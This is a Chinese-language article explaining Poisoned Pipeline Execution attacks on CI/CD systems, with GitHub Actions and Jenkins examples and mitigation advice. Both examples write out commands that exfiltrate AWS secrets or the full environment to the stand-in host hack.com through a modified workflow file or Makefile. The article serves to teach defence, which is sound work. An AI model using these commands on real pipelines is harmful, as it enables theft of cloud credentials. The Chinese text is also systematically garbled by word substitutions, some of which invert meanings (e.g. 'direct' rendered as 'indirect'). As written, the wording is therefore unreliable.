在上一篇文章,咱们理解了依赖链滥用和基于流水线的访问控制有余这两大平安危险,并给出缓解危险的平安倡议。本篇文章将着重介绍 PPE 危险,并提供缓解相干危险的平安倡议与实际。
Poisoned Pipeline Execution (PPE) 危险指的是攻击者可能拜访源代码控制系统,但无法访问构建环境,通过将恶意代码 / 命令注入构建流水线配置来操纵构建过程,实质上是“中毒的”流水线和运行恶意代码作为构建过程的一部分。
危险形容
PPE 危险通常存在代码仓库中,可控对应的 CI 管道配置文件,通过批改 CI 配置文件达到执行对应命令的目标。有权操作 CI 配置文件或 CI 流水线工作所依赖的其余文件的攻击者,能够将歹意命令置入这些文件,通过执行这些歹意命令,最终“毒化”执行这些命令的 CI 流水线。执行未经审查的代码的流水线,比方一些间接由拉取申请或提交到任意存储库分支触发的流水线,因为在设计上蕴含未经任何审查或批准的代码,更容易受到 PPE 危险的影响。一旦可能在 CI 流水线中执行恶意代码,攻击者就能够在流水线身份的上下文中进行各种歹意操作。
PPE 的三种类型
间接 PPE(D-PPE)
在 D-PPE 场景中,攻击者批改他们有权拜访的存储库中的 CI 配置文件,通过间接将更改推送到存储库上未受爱护的近程分支,在提交 PR 时随着分叉的更改而变动。因为 CI 流水线执行是由“push”或“PR”事件触发的,并且流水线执行是由批改后的 CI 配置文件中的命令定义的,一旦构建流水线被攻打,攻击者的歹意命令最终会在构建节点中运行触发。
间接 PPE(I-PPE)
在以下几种状况下,即使攻击者可能拜访 SCM 存储库,也无奈应用 D-PPE:
- 流水线配置为从同一存储库中独自的受爱护分支中提取 CI 配置文件。
- CI 配置文件存储在与源代码不同的存储库中,则用户没有间接编辑它的选项。
- CI 构建是在 CI 零碎自身中定义的——而不是在存储在源代码中的文件中。
在这几种状况下,攻击者就会抉择向流水线配置文件援用的文件中注入恶意代码来毁坏流水线:
- make:执行“Makefile”文件中定义的命令。
- 从流水线配置文件中援用的脚本,与源代码自身存储在同一存储库中(例如,
python myscript.py - myscript.py
将被攻击者操纵)。 - 代码测试:在构建过程中在利用程序代码上运行的测试框架依赖于专用文件,这些文件与源代码自身存储在同一存储库中。可能操纵负责测试的代码的攻击者可能在构建中运行歹意命令。
- 主动工具:CI 中应用的 Linter 和平安扫描器通常也依赖于存储库中的配置文件。很多时候这些配置波及从配置文件中定义的地位加载和运行内部代码。
因而,在 I-PPE 中,不同于将歹意命令直接插入流水线定义文件来毁坏流水线,攻击者通过将恶意代码注入到配置文件援用的文件中,一旦触发流水线并运行相干文件中申明的命令,恶意代码最终会在流水线节点上执行。
公共 PPE(3PE)
执行 PPE 攻打须要拜访托管流水线配置文件的存储库或其援用的文件。大多数状况下,只有开发人员领有此类许可,也就是说攻击者必须要取得开发工程师对存储库的许可和权限能力执行间接或间接 PPE 攻打。
然而,在一些状况下,互联网上的匿名攻击者能够应用“中毒的”CI 流水线:公共存储库(例如开源我的项目)通常容许任何用户做出奉献,通过创立拉取申请,倡议对代码进行更改。这些我的项目通常应用 CI 解决方案自动测试和构建,与公有我的项目相似。如果公共存储库的 CI 流水线运行匿名用户倡议的未经审查的代码,它很容易受到公共 PPE 攻打,或者简称为 3PE。如果易受攻击的公共存储库的流水线在与公有存储库雷同的 CI 实例上运行,这也会裸露例如公有我的项目的敏感信息这类的外部资产。
PPE 示例
通过 D-PPE (GitHub Actions) 窃取凭据
在以下示例中,GitHub 存储库与 GitHub Actions 工作流程连贯,该工作流程获取代码、构建代码、运行测试并最终将工件部署到 AWS。当新代码被推送到存储库中的近程分支时,代码(包含流水线配置文件)由运行程序(工作流节点)获取。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."
在这种状况下,D-PPE 攻打将按如下形式进行:
- 攻击者在存储库中创立了一个新的近程分支,在其中应用歹意命令更新流水线配置文件,这些命令旨在拜访 GitHub 组织范畴内的 AWS 凭证,而后将其发送到近程服务器。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{secrets.AWS_ACCESS_KEY_ID}}
SECRET_KEY: ${{secrets.AWS_SECRET_ACCESS_KEY}}
run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
- 推送更新后,将触发从存储库中获取代码的流水线,包含歹意流水线配置文件。
- 流水线基于被攻击者“毒化”的配置文件运行。依据攻击者的歹意命令,存储为存储库秘密的 AWS 凭证被加载到内存中。
- 流水线继续执行攻击者的命令,将 AWS 凭证发送到攻击者管制的服务器。
- 攻击者随后可能应用窃取的凭证拜访 AWS 生产环境。
通过 Indirect-PPE (Jenkins) 窃取凭证
这个例子展现的是 Jenkins 流水线从存储库中获取代码、构建、运行测试并最终部署到 AWS。在此流水线中,Jenkinsfile 是受爱护的,因为是从存储库中的主分支中获取的。因而,攻击者无奈操纵构建定义,也无奈获取存储在 Jenkins 凭证存储中的秘密或在其余节点上运行工作。
然而这并不代表流水线没有危险。在流水线的构建阶段,AWS 凭证作为环境变量加载,使其仅可用于在此阶段运行的命令。在上面的示例中,基于 Makefile 的内容(也存储在存储库中)的 make 命令作为此阶段的一部分运行。
The Jenkinsfile:
pipeline {
agent any
stages {stage('build') {
steps {withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...
The Makefile:
build:
echo "building…"
clean:
echo "cleaning…"
在这种状况下,I-PPE 攻打将按如下形式进行:
- 攻击者在存储库中创立拉取申请,将歹意命令附加到 Makefile 文件中。
build:
curl -d "$$(env)" hack.com
clean:
echo "cleaning…"
- 因为流水线配置为在针对 repo 的任何 PR 时触发,Jenkins 流水线被触发,从存储库中获取代码,包含歹意 Makefile。
- 流水线基于存储在主分支中的配置文件运行。进入构建阶段,如原始 Jenkinsfile 中定义,将 AWS 凭证加载到环境变量中。而后,运行 make build 命令,该命令执行增加到 Makefile 中的歹意命令。
- 执行 Makefile 中定义的歹意构建函数,将 AWS 凭证发送到攻击者管制的服务器。
- 攻击者随后可能应用窃取的凭证拜访 AWS 生产环境。
影响
在胜利的 PPE 攻打中,攻击者在 CI 中执行未经审查的恶意代码。这为攻击者提供了与构建工作雷同的能力和拜访级别,包含:
- 拜访 CI 工作可用的任何秘密,比方作为环境变量注入的秘密或存储在 CI 中的其余敏感信息。CI/CD 零碎负责构建代码和部署工件,通常蕴含多个如云提供商、工件注册表和 SCM 自身的重要凭证和令牌。
- 拜访工作节点有权拜访的内部资产,例如存储在节点文件系统中的文件,或可通过底层主机拜访的云环境的凭据。
- 可能以构建过程构建的非法代码为障眼法,将代码和工件进一步传送到流水线中。
- 可能拜访作业节点的网络 / 环境中的其余主机和资产。
倡议
预防和缓解 PPE 攻打,波及跨 SCM 和 CI 零碎的多项措施:
- 确保运行未经审查的代码的流水线在隔离节点上执行,不会裸露在秘密和敏感环境中。
- 评估内部贡献者在公共存储库上触发流水线的需要。在可能的状况下,防止运行源自分叉的流水线,并思考增加控制措施,例如要求手动批准流水线执行。
- 对于蕴含敏感信息的流水线,确保配置为触发 CI 零碎中的流水线的每个分支,在 SCM 中都有相干的分支爱护规定。
- 为了避免操纵 CI 配置文件在流水线中运行恶意代码,必须在流水线运行之前审查每个 CI 配置文件。或者 CI 配置文件能够在近程分支中治理,与蕴含在流水线中构建的代码的分支离开。近程分支应配置为受爱护。
- 从不须要的用户中删除对 SCM 存储库授予的权限。
- 每个流水线应该只能拜访实现其目标所需的凭据。凭据应具备所需的最低权限。